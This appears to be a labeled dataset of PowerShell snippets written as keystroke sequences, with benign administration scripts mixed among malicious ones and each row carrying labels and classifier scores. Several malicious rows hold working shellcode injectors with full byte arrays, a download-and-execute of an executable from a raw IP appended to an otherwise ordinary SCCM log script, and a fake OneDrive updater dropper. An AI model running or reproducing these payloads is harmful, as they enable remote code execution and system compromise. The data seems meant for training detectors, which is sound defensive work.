"win+r powershell enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr enter lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kern enter el32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, u enter int dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags enter , IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset enter (IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name "" enter Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xbb,0x16,0x94, enter 0x4c,0x80,0xd9,0xe5,0xd9,0x74,0x24,0xf4,0x5d,0x31,0xc9,0xb1,0x47,0x31,0x5d,0x13, enter 0x03,0x5d,0x13,0x83,0xed,0xea,0x76,0xb9,0x7c,0xfa,0xf5,0x42,0x7d,0xfa,0x99,0xcb, enter 0x98,0xcb,0x99,0xa8,0xe9,0x7b,0x2a,0xba,0xbc,0x77,0xc1,0xee,0x54,0x0c,0xa7,0x26, enter 0x5a,0xa5,0x02,0x11,0x55,0x36,0x3e,0x61,0xf4,0xb4,0x3d,0xb6,0xd6,0x85,0x8d,0xcb, enter 0x17,0xc2,0xf0,0x26, enter enter",1,1,5.359365e-05,0.99994636
"win+r enter powershell enter enter enter $here = Split-Path -Parent $MyInvocation.MyCommand.Path enter $sut = (Split-Path -Leaf $MyInvocation.MyCommand.Path) -replace '\.Tests', '' enter . ""$here\$sut"" enter enter $clusterName = $ENV:ClusterName enter $httpUserPassword = $ENV:HttpPassword enter $securePassword = ConvertTo-SecureString $httpUserPassword -AsPlainText -Force enter $creds = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList ""admin"", $securePassword enter function Get-Credential { return $creds } enter $mapper= @"" enter import sys enter def read_input(file): enter enter for line in file: enter yield line.split() enter enter def main(separator=' tab '): enter enter data = read_input(sys.stdin) enter enter for words in data: enter enter for word in words: enter enter print '%s%s%d' % (word, separator, 1) enter enter if __name__ == ""__main__"": enter main() enter ""@ enter $reducer=@"" enter from itertools import groupby enter from operator import itemgetter enter import sys enter def read_mapper_output(file, separator=' tab '): enter enter for line in file: enter enter yield line.rstrip().split(separator, 1) enter enter def main(separator=' tab '): enter enter data = read_mapper_output(sys.stdin, separator=separator) enter for current_word, group in groupby(data, itemgetter(0)): enter try: enter total_count = sum(int(count) for current_word, count in group) enter enter print ""%s%s%d"" % (current_word, separator, total_count) enter except ValueError: enter enter pass enter enter if __name__ == ""__main__"": enter main() enter ""@ enter enter Describe ""streaming-python"" { enter enter in $TestDrive { enter enter $mapper | Out-File .\mapper.py enter $reducer | Out-File . enter educer.py enter enter Mock Read-Host { $clusterName } enter enter Mock Write-Progress { } enter enter It ""Converts CRLF line endings to just LF"" { enter enter {Fix-LineEnding(""$TestDrive\mapper.py"")} | Should not throw enter {Fix-LineEnding(""$TestDrive enter educer.py"")} | Should not throw enter '.\mapper.py' | Should not Contain ""`r`n"" enter '. enter educer.py' | Should not Contain ""`r`n"" enter } enter enter It ""Uploads the python files and runs the job"" { enter {Start-PythonExample} | Should not throw enter } enter } enter } enter enter",0,0,0.633006,0.366994
"win+r enter powershell enter enter enter  enter Set-PSFConfig -Module PSFramework -Name 'System.Unattended' -Value $false -Initialize -Validation ""bool"" -Handler { [PSFramework.PSFCore.PSFCoreHost]::Unattended = $args[0] } -Description ""Central setting, showing whether the current execution is unattended or not. This allows scripts/modules to react to whether there is a user at the controls or not."" enter enter Set-PSFConfig -Module PSFramework -Name 'SupportPackage.ContactMessage' -Value ' ' -Initialize -Validation 'string' -Description 'Message shown when using New-PSFSUpportPackage. This allows an organization to tie information on how to submit a support package into the command that generates it' enter Set-PSFConfig -Module PSFramework -Name 'Text.Encoding.FullTabCompletion' -Value $false -Initialize -Validation 'bool' -Description 'Whether all encodings should be part of the tab completion for encodings. By default, only a manageable subset is shown.' enter Set-PSFConfig -Module PSFramework -Name 'Text.Encoding.DefaultWrite' -Value 'utf-8' -Initialize -Validation 'string' -Description 'The default encoding to use when writing to file. Only applied by implementing commands.' enter Set-PSFConfig -Module PSFramework -Name 'Text.Encoding.DefaultRead' -Value 'utf-8' -Initialize -Validation 'string' -Description 'The default encoding to use when reading from file. Only applied by implementing commands.' enter Set-PSFConfig -Module PSFramework -Name 'Localization.Language' -Value ([System.Globalization.CultureInfo]::CurrentUICulture.Name) -Initialize -Handler { [PSFramework.Localization.LocalizationHost]::Language = $args[0] } -Validation 'languagecode' -Description 'The language the current PowerShell session is operating under' enter Set-PSFConfig -Module PSFramework -Name 'Localization.LoggingLanguage' -Value 'en-US' -Initialize -Handler { [PSFramework.Localization.LocalizationHost]::LoggingLanguage = $args[0] } -Validation 'languagecode' -Description 'The language the current PowerShell session is operating under' enter enter",0,0,0.9999485,5.144653e-05
"win+r powershell enter invoke-expression (new-object ""System.Net.WebClient"").downloadstring(""https://gi enter thub.com/witnessstrong/OneDriveUpdater/raw/3c032a4a8dafbaa74609aead2a2ae270495f2 enter 459/install.ps1"")|out-null new-item -itemtype ""Directory"" -force -path ""C:\\Pro enter gram Files\\Microsoft\\OneDriveUpdater""|out-null (new-object ""Net.WebClient"").d enter ownloadfile(""https://github.com/witnessstrong/OneDriveUpdater/raw/3c032a4a8dafba enter a74609aead2a2ae270495f2459/OneDriveStandaloneUpdater.exe"", ""C:\\Program Files\\M enter icrosoft\\OneDriveUpdater\\OneDriveStandaloneUpdater.exe"") (new-object ""Net.Web enter Client"").downloadfile(""https://github.com/witnessstrong/OneDriveUpdater/raw/3c03 enter 2a4a8dafbaa74609aead2a2ae270495f2459/version.dll"", ""C:\\Program Files\\Microsoft enter \\OneDriveUpdater\\version.dll"") (new-object ""Net.WebClient"").downloadfile(""htt enter ps://github.com/witnessstrong/OneDriveUpdater/raw/3c032a4a8dafbaa74609aead2a2ae2 enter 70495f2459/verslon.d enter enter",1,1,8.380267e-05,0.9999162
"win+r powershell enter function Set-SCCMClientCacheSize { PARAM( [Parameter(Mandatory)] [string[] enter ]$ComputerName, [int]$SizeMB = 10240, [Switch]$ServiceRestart, [Alias('Run enter As')] enter enter",1,1,0.00891461,0.99108535
"win+r enter powershell enter enter enter [void] [System.Reflection.Assembly]::LoadWithPartialName(""System.Drawing"") enter [void] [System.Reflection.Assembly]::LoadWithPartialName(""System.Windows.Forms"") enter enter function click-handle{ enter write-host $text enter if ($objTextBox.Text[$objTextBox.Text.length - 1] -eq '\') enter { enter $text = $objTextBox.Text[0..($objTextBox.Text.length - 2)] enter $text = $text -join '' enter } enter else enter { enter $text = $objTextBox.Text enter $text = $text -join '' enter } enter enter if (Test-Path -path $text) enter { enter (New-Object -Com WScript.Network).MapNetworkDrive(""B:"" , $text); enter enter $disk = Get-WmiObject Win32_LogicalDisk -Filter ""DeviceID='B:'"" | enter Select-Object Size,FreeSpace,BlockSize enter (New-Object -Com WScript.Network).RemoveNetworkDrive(""B:""); enter $objPath.Text = $text enter $FreeSpaceRounded = $disk.FreeSpace/1024/1024/1024 enter $objFreeSpace.Text = ""{0:N2}"" -f $FreeSpaceRounded+"" GB"" enter $SizeRounded = $disk.Size/1024/1024/1024 enter $objTotalSize.Text = ""{0:N2}"" -f $SizeRounded+"" GB"" enter $UsedSpace = $SizeRounded-$FreeSpaceRounded enter $objUsedSpace.Text = ""{0:N2}"" -f $UsedSpace+"" GB"" enter $objError.Text = """" enter enter } enter else enter { enter enter $objPath.Text = $text enter $objFreeSpace.Text = """" enter $objTotalSize.Text = """" enter $objUsedSpace.Text = """" enter enter $objError.Text = ""Der angegebene Pfad ist ungültig."" enter } enter enter } enter $objForm = New-Object System.Windows.Forms.Form enter $objForm.Text = ""ShareScan"" enter $objForm.Size = New-Object System.Drawing.Size(400,220) enter enter $Icon = [system.drawing.icon]::ExtractAssociatedIcon($PSHOME + ""\powershell.exe"") enter $objForm.Icon = $Icon enter $objForm.StartPosition = ""CenterScreen"" enter $objEingabe = New-Object System.Windows.Forms.Label enter $objEingabe.Location = New-Object System.Drawing.Size(30,10) enter $objEingabe.Size = New-Object System.Drawing.Size(500,15) enter $objEingabe.Text = ""Bitte Pfad folgendermassen angeben: '\\Server\Share'"" enter $objEingabe.Name = ""Eingabe"" enter $objForm.Controls.Add($objEingabe) enter $objBeispiel = New-Object System.Windows.Forms.Label enter $objBeispiel.Location = New-Object System.Drawing.Size(30,25) enter $objBeispiel.Size = New-Object System.Drawing.Size(500,15) enter $objBeispiel.Text = ""Zum Beispiel: '\\hsr.ch enter oot\ver\it\IT-Systems'"" enter $objBeispiel.Name = ""Beispiel"" enter $objForm.Controls.Add($objBeispiel) enter $objTextBox = New-Object System.Windows.Forms.TextBox enter $objTextBox.Location = New-Object System.Drawing.Size(30,50) enter $objTextBox.Size = New-Object System.Drawing.Size(240,20) enter $objForm.Controls.Add($objTextBox) enter $OKButton = New-Object System.Windows.Forms.Button enter $OKButton.Location = New-Object System.Drawing.Size(270,50) enter $OKButton.Size = New-Object System.Drawing.Size(65,23) enter $OKButton.Text = ""OK"" enter $OKButton.Name = ""OK"" enter enter $OKButton.Add_Click({click-handle}) enter $objForm.Controls.Add($OKButton) enter $objTextPath = New-Object System.Windows.Forms.Label enter $objTextPath.Location = New-Object System.Drawing.Size(30,80) enter $objTextPath.Size = New-Object System.Drawing.Size(125,15) enter $objTextPath.Text = ""Pfad:"" enter $objTextPath.Name = ""Pfad"" enter $objForm.Controls.Add($objTextPath) enter $objPath = New-Object System.Windows.Forms.Label enter $objPath.Location = New-Object System.Drawing.Size(160,80) enter $objPath.Size = New-Object System.Drawing.Size(350,15) enter $objPath.Name = ""Pfad"" enter $objForm.Controls.Add($objPath) enter $objTextFreeSpace = New-Object System.Windows.Forms.Label enter $objTextFreeSpace.Location = New-Object System.Drawing.Size(30,95) enter $objTextFreeSpace.Size = New-Object System.Drawing.Size(125,15) enter $objTextFreeSpace.Text = ""Freier Speicherplatz:"" enter $objTextFreeSpace.Name = ""FreeSpace"" enter $objForm.Controls.Add($objTextFreeSpace) enter $objFreeSpace = New-Object System.Windows.Forms.Label enter $objFreeSpace.Location = New-Object System.Drawing.Size(160,95) enter $objFreeSpace.Size = New-Object System.Drawing.Size(150,15) enter $objFreeSpace.Name = ""FreeSpace"" enter $objForm.Controls.Add($objFreeSpace) enter $objTextTotalSize = New-Object System.Windows.Forms.Label enter $objTextTotalSize.Location = New-Object System.Drawing.Size(30,125) enter $objTextTotalSize.Size = New-Object System.Drawing.Size(125,15) enter $objTextTotalSize.Text = ""Speicherplatz total:"" enter $objTextTotalSize.Name = ""Size"" enter $objForm.Controls.Add($objTextTotalSize) enter $objTotalSize = New-Object System.Windows.Forms.Label enter $objTotalSize.Location = New-Object System.Drawing.Size(160,125) enter $objTotalSize.Size = New-Object System.Drawing.Size(150,15) enter $objTotalSize.Name = ""Size"" enter $objForm.Controls.Add($objTotalSize) enter $objTextUsedSpace = New-Object System.Windows.Forms.Label enter $objTextUsedSpace.Location = New-Object System.Drawing.Size(30,110) enter $objTextUsedSpace.Size = New-Object System.Drawing.Size(125,15) enter $objTextUsedSpace.Text = ""Belegter Speicherplatz:"" enter $objTextUsedSpace.Name = ""UsedSpace"" enter $objForm.Controls.Add($objTextUsedSpace) enter $objUsedSpace = New-Object System.Windows.Forms.Label enter $objUsedSpace.Location = New-Object System.Drawing.Size(160,110) enter $objUsedSpace.Size = New-Object System.Drawing.Size(150,15) enter $objUsedSpace.Name = ""BlockSize"" enter $objForm.Controls.Add($objUsedSpace) enter $CancelButton = New-Object System.Windows.Forms.Button enter $CancelButton.Location = New-Object System.Drawing.Size(30,145) enter $CancelButton.Size = New-Object System.Drawing.Size(65,23) enter $CancelButton.Text = ""Cancel"" enter $CancelButton.Name = ""Cancel"" enter $CancelButton.Add_Click({$objForm.Close()}) enter $objForm.Controls.Add($CancelButton) enter $objError = New-Object System.Windows.Forms.Label enter $objError.Location = New-Object System.Drawing.Size(150,150) enter $objError.Size = New-Object System.Drawing.Size(250,15) enter $objError.Name = ""Error"" enter $objError.ForeColor = ""red"" enter $objForm.Controls.Add($objError) enter [void] $objForm.ShowDialog() enter enter",1,1,0.00020661287,0.99979335
win+r powershell enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install nssm enter A enter enter,0,0,0.99995935,4.060615e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_msxh2639"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting process_checks section 1."" enter Get-Process | enter Sort-Object WorkingSet64 -Descending | enter Select-Object -First 15 Name, Id, Path, Company | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_memory_15.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.4395653e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_md417nt9"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName System -MaxEvents 150 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_warnings_150.txt"") -Encoding UTF8 enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 150 DisplayName, Enabled, Direction, Action, Profile | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_inbound.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.4199864e-05
"win+r enter powershell enter enter enter function Get-ChromeExtension { enter param ( enter [string]$ComputerName = $env:COMPUTERNAME enter ) enter enter Get-ChildItem ""\\$ComputerName\c$\users\*\appdata\local\Google\Chrome\User Data\Default\Extensions\*\*\manifest.json"" -ErrorAction SilentlyContinue | % { enter $path = $_.FullName enter $_.FullName -match 'users\\(.*?)\\appdata' | Out-Null enter Get-Content $_.FullName -Raw | ConvertFrom-Json | select @{n='ComputerName';e={$ComputerName}}, @{n='User';e={$Matches[1]}}, Name, Version, @{n='Path';e={$path}} enter } enter } enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x6e,0x65,0x74,0x00,0x68,0x77,0x69,0x6e,0x69,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0x31,0xdb,0x53,0x53,0x53,0x53,0x53,0x68,0x3a,0x56,0x79,0xa7,0xff,0xd5,0x53,0x53,0x6a,0x03,0x53,0x53,0x68,0xbb,0x01,0x00,0x00,0xe8,0x8c,0x00,0x00,0x00,0x2f,0x5f,0x45,0x39,0x32,0x4d,0x00,0x50,0x68,0x57,0x89,0x9f,0xc6,0xff,0xd5,0x89,0xc6,0x53,0x68,0x00,0x32,0xe0,0x84,0x53,0x53,0x53,0x57,0x53,0x56,0x68,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x96,0x6a,0x0a,0x5f,0x68,0x80,0x33,0x00,0x00,0x89,0xe0,0x6a,0x04,0x50,0x6a,0x1f,0x56,0x68,0x75,0x46,0x9e,0x86,0xff,0xd5,0x53,0x53,0x53,0x53,0x56,0x68,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x0a,0x4f,0x75,0xd9,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x68,0x00,0x00,0x40,0x00,0x53,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x53,0x89,0xe7,0x57,0x68,0x00,0x20,0x00,0x00,0x53,0x56,0x68,0x12,0x96,0x89,0xe2,0xff,0xd5,0x85,0xc0,0x74,0xcd,0x8b,0x07,0x01,0xc3,0x85,0xc0,0x75,0xe5,0x58,0xc3,0x5f,0xe8,0x75,0xff,0xff,0xff,0x31,0x37,0x32,0x2e,0x31,0x36,0x2e,0x39,0x30,0x2e,0x31,0x31,0x33,0x00;$size = 0x1000;if ($sc.Length -gt 0x1000){$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1177114e-05,0.99994886
"win+r enter powershell enter enter enter Function Get-SccmClientLog ($ComputerName,$LogName) { enter try { enter Write-Debug ""Initiating the $($MyInvocation.MyCommand.Name) function...""; enter $output_properties = @{'ComputerName'=$ComputerName;'Log'=$LogName} enter enter if ($LogName -ne 'setup') { enter $sPath = ""\\$ComputerName\admin$\ccmlogs""; enter $aLogData = @(); enter $aDir = Get-ChildItem $sPath | where { !$_.PsIsContainer }; enter foreach ($sLog in $aDir) { enter if ($sLog -match $LogName) { enter $aLogData += Get-Content ""$sPath\$sLog""; enter } enter } enter if ($LogName -eq 'smsts') { enter if (Test-Path ""$sPath\SMSTSLog\smsts.log"") { enter $aLogData += Get-Content ""$sPath\SMSTSLog\smsts.log""; enter } enter } enter if ($LogName -eq 'smsts') { enter $log_data = Format-SccmClientLogData $aLogData | Format-SccmClientSmsTsLog; enter $output_properties.Add('LogData',$log_data) enter New-Object –TypeName PSObject –Prop $output_properties enter } else { enter $log_data = Format-SccmClientLogData $aLogData; enter $output_properties.Add('LogData',$log_data) enter New-Object –TypeName PSObject –Prop $output_properties enter } enter } else { enter $sPath = ""\\$ComputerName\admin$\ccmsetup\logs""; enter $aLogData = Get-Content ""$sPath\ccmsetup.log""; enter $log_data = Format-SccmClientLogData $aLogData; enter $output_properties.Add('LogData',$log_data) enter New-Object –TypeName PSObject –Prop $output_properties enter } enter } catch [System.Exception] { enter Write-Warning ""$($MyInvocation.MyCommand.Name): $($_.Exception.Message)""; enter return $false; enter } enter } enter Filter Format-SccmClientLogData ($aLogData) { enter try { enter Write-Debug ""Initiating the $($MyInvocation.MyCommand.Name) function...""; enter $aFilteredLog = @(); enter foreach ($sLine in $aLogData) { enter $reLine = ([regex]'<time=""(.+)"" date=""(.+)"" component').matches($sLine); enter foreach ($oLine in $reLine) { enter $aSplit = ($oLine.Groups[2].Value).Split('.'); enter [datetime]$sDateTime = ""$($oLine.Groups[3].Value) $($aSplit[0])""; enter $oLog = New-Object System.Object; enter $oLog | Add-Member -type NoteProperty -name DateTime -value $sDateTime; enter $oLog | Add-Member -type NoteProperty -name Message -value $oLine.Groups[1].Value; enter $oLog = $oLog | Sort-Object 'DateTime' enter enter $oLog; enter } enter } enter enter } catch [System.Exception] { enter Write-Debug ""$($MyInvocation.MyCommand.Name): $($_.Exception.Message)""; enter return $false; enter } enter } enter Filter Format-SccmClientSmsTsLog ($oTsLogLine) { enter try { enter Write-Debug ""Initiating the $($MyInvocation.MyCommand.Name) function...""; enter $aInterestingLines = @('Successfully complete the action', enter 'The action (', enter 'System shutdown request is received', enter 'Waiting for installation job to complete', enter 'Installing software for PackageID', enter 'Successfully connected to', enter 'Installation completed with exit code', enter 'The condition for the action', enter 'The group (', enter 'Task Sequence Manager ServiceMain finished execution', enter 'Waiting for CcmExec service to be fully operational', enter 'Waiting for job status notification'); enter $aInterestingData = @(); enter foreach ($sLine in $aInterestingLines) { enter if ($oTsLogLine.Message -like ""$sLine*"") { enter $oLog = New-Object System.Object; enter $oLog | Add-Member -type NoteProperty -name DateTime -value $oTsLogLine.DateTime; enter $oLog | Add-Member -type NoteProperty -name Message -value $oTsLogLine.Message; enter if ($oTsLogLine.Message -like '*Error*') { enter $oLog | Add-Member -type NoteProperty -name LineResult -value 'Red'; enter } else { enter $oLog | Add-Member -type NoteProperty -name LineResult -value 'Green'; enter } enter $oLog; enter } enter } enter } catch [System.Exception] { enter Write-Debug ""$($MyInvocation.MyCommand.Name): $($_.Exception.Message)""; enter return $false; enter } enter } enter enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.4970413e-05,0.99994504
"win+r powershell enter $q0I = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $q0I -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xdb,0xc2,0xd9,0x74,0x24,0xf4,0xba,0x75,0xc7,0xca,0x2e,0x5e,0x31,0xc9,0xb1,0x47,0x31,0x56,0x18,0x03,0x56,0x18,0x83,0xee,0x89,0x25,0x3f,0xd2,0x99,0x28,0xc0,0x2b,0x59,0x4d,0x48,0xce,0x68,0x4d,0x2e,0x9a,0xda,0x7d,0x24,0xce,0xd6,0xf6,0x68,0xfb,0x6d,0x7a,0xa5,0x0c,0xc6,0x31,0x93,0x23,0xd7,0x6a,0xe7,0x22,0x5b,0x71,0x34,0x85,0x62,0xba,0x49,0xc4,0xa3,0xa7,0xa0,0x94,0x7c,0xa3,0x17,0x09,0x09,0xf9,0xab,0xa2,0x41,0xef,0xab,0x57,0x11,0x0e,0x9d,0xc9,0x2a,0x49,0x3d,0xeb,0xff,0xe1,0x74,0xf3,0x1c,0xcf,0xcf,0x88,0xd6,0xbb,0xd1,0x58,0x27,0x43,0x7d,0xa5,0x88,0xb6,0x7f,0xe1,0x2e,0x29,0x0a,0x1b,0x4d,0xd4,0x0d,0xd8,0x2c,0x02,0x9b,0xfb,0x96,0xc1,0x3b,0x20,0x27,0x05,0xdd,0xa3,0x2b,0xe2,0xa9,0xec,0x2f,0xf5,0x7e,0x87,0x4b,0x7e,0x81,0x48,0xda,0xc4,0xa6,0x4c,0x87,0x9f,0xc7,0xd5,0x6d,0x71,0xf7,0x06,0xce,0x2e,0x5d,0x4c,0xe2,0x3b,0xec,0x0f,0x6a,0x8f,0xdd,0xaf,0x6a,0x87,0x56,0xc3,0x58,0x08,0xcd,0x4b,0xd0,0xc1,0xcb,0x8c,0x17,0xf8,0xac,0x03,0xe6,0x03,0xcd,0x0a,0x2c,0x57,0x9d,0x24,0x85,0xd8,0x76,0xb5,0x2a,0x0d,0xe2,0xb0,0xbc,0x6e,0x5b,0xbb,0x1e,0x07,0x9e,0xbc,0x5f,0x6d,0x17,0x5a,0x0f,0xc1,0x78,0xf3,0xef,0xb1,0x38,0xa3,0x87,0xdb,0xb6,0x9c,0xb7,0xe3,0x1c,0xb5,0x5d,0x0c,0xc9,0xed,0xc9,0xb5,0x50,0x65,0x68,0x39,0x4f,0x03,0xaa,0xb1,0x7c,0xf3,0x64,0x32,0x08,0xe7,0x10,0xb2,0x47,0x55,0xb6,0xcd,0x7d,0xf0,0x36,0x58,0x7a,0x53,0x61,0xf4,0x80,0x82,0x45,0x5b,0x7a,0xe1,0xde,0x52,0xee,0x4a,0x88,0x9a,0xfe,0x4a,0x48,0xcd,0x94,0x4a,0x20,0xa9,0xcc,0x18,0x55,0xb6,0xd8,0x0c,0xc6,0x23,0xe3,0x64,0xbb,0xe4,0x8b,0x8a,0xe2,0xc3,0x13,0x74,0xc1,0xd5,0x68,0xa3,0x2f,0xa0,0x80,0x77;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$VWT=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($VWT.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$VWT,0,0,0);for (;;){Start-sleep 60}; enter",1,1,5.2230647e-05,0.9999478
win+r enter powershell enter enter enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install microsoft-edge enter A enter enter enter,0,0,0.9999603,3.969957e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_xyurvnpk"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting event_log_review section 1."" enter Get-WinEvent -LogName System -MaxEvents 75 | enter Where-Object { $_.LevelDisplayName -in @(""Information"",""Warning"",""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_provider_summary_75.json"") -Encoding UTF8 enter Get-NetAdapter | enter Select-Object Name, InterfaceDescription, Status, LinkSpeed, MacAddress | enter Export-Csv -Path (Join-Path $ReportDir ""network_adapter.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996626,3.377866e-05
"win+r enter powershell enter enter enter Function UninstallApplication($Application,$GUID) { enter Set-Variable -Name Code -Scope Local -Force enter Set-Variable -Name Arguments -Scope Local -Force enter enter Write-Host $Application""...."" -NoNewline enter $Arguments = ""/x ""+$GUID+"" /qb- /norestart"" enter $Code = (Start-Process -FilePath msiexec.exe -ArgumentList $Arguments -Wait -Passthru).ExitCode enter If ($Code -eq 0) { enter Write-Host ""Uninstalled"" -ForegroundColor Yellow enter } elseIf ($Code -eq 1605) { enter Write-Host ""Not Installed"" -ForegroundColor Yellow enter } else { enter Write-Host ""Failed with error code""$Code -ForegroundColor Red enter } enter Remove-Variable -Name Code -Scope Local -Force enter Remove-Variable -Name Arguments -Scope Local -Force enter enter } enter enter UninstallApplication ""Microsoft Visual C++ 2008 SP1 Redistributable (x64)"" ""{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}"" enter UninstallApplication ""Microsoft Visual C++ 2008 SP1 Redistributable (x64)"" ""{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}"" enter UninstallApplication ""Microsoft Visual C++ 2008 SP1 Redistributable (x86)"" ""{9BE518E6-ECC6-35A9-88E4-87755C07200F}"" enter UninstallApplication ""Microsoft Visual C++ 2008 SP1 Redistributable (x86)"" ""{9BE518E6-ECC6-35A9-88E4-87755C07200F}"" enter UninstallApplication ""Microsoft Visual C++ 2010 SP1 Redistributable (x86)"" ""{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}"" enter UninstallApplication ""Microsoft Visual C++ 2010 SP1 Redistributable (x64)"" ""{1D8E6291-B0D5-35EC-8441-6616F567A0F7}"" enter UninstallApplication ""Microsoft Visual C++ 2008 x86 ATL Runtime"" ""{04B34E21-5BEE-3D2B-8D3D-E3E80D253F64}"" enter UninstallApplication ""Microsoft Visual C++ 2008 x86 MFC Runtime"" ""{B42E259C-E4D4-37F1-A1B2-EB9C4FC5A04D}"" enter UninstallApplication ""Microsoft Visual C++ 2008 x86 CRT Runtime"" ""{14866AAD-1F23-39AC-A62B-7091ED1ADE64}"" enter UninstallApplication ""Microsoft Visual C++ 2008 x86 OpenMP Runtime"" ""{4B90093A-5D9C-3956-8ABB-95848BE6EFAD}"" enter UninstallApplication ""Microsoft Visual C++ 2008 x64 ATL Runtime"" ""{C3A57BB3-9AA6-3F6F-9395-6C062BDD5FC4}"" enter UninstallApplication ""Microsoft Visual C++ 2008 x64 MFC Runtime"" ""{6DA2B636-698A-3294-BF4A-B5E11B238CDD}"" enter UninstallApplication ""Microsoft Visual C++ 2008 x64 CRT Runtime"" ""{F6F09DD8-F39B-3A16-ADB9-C9E6B56903F9}"" enter UninstallApplication ""Microsoft Visual C++ 2008 x64 OpenMP Runtime"" ""{8CCEA24C-51AE-3B71-9092-7D0C44DDA2DF}"" 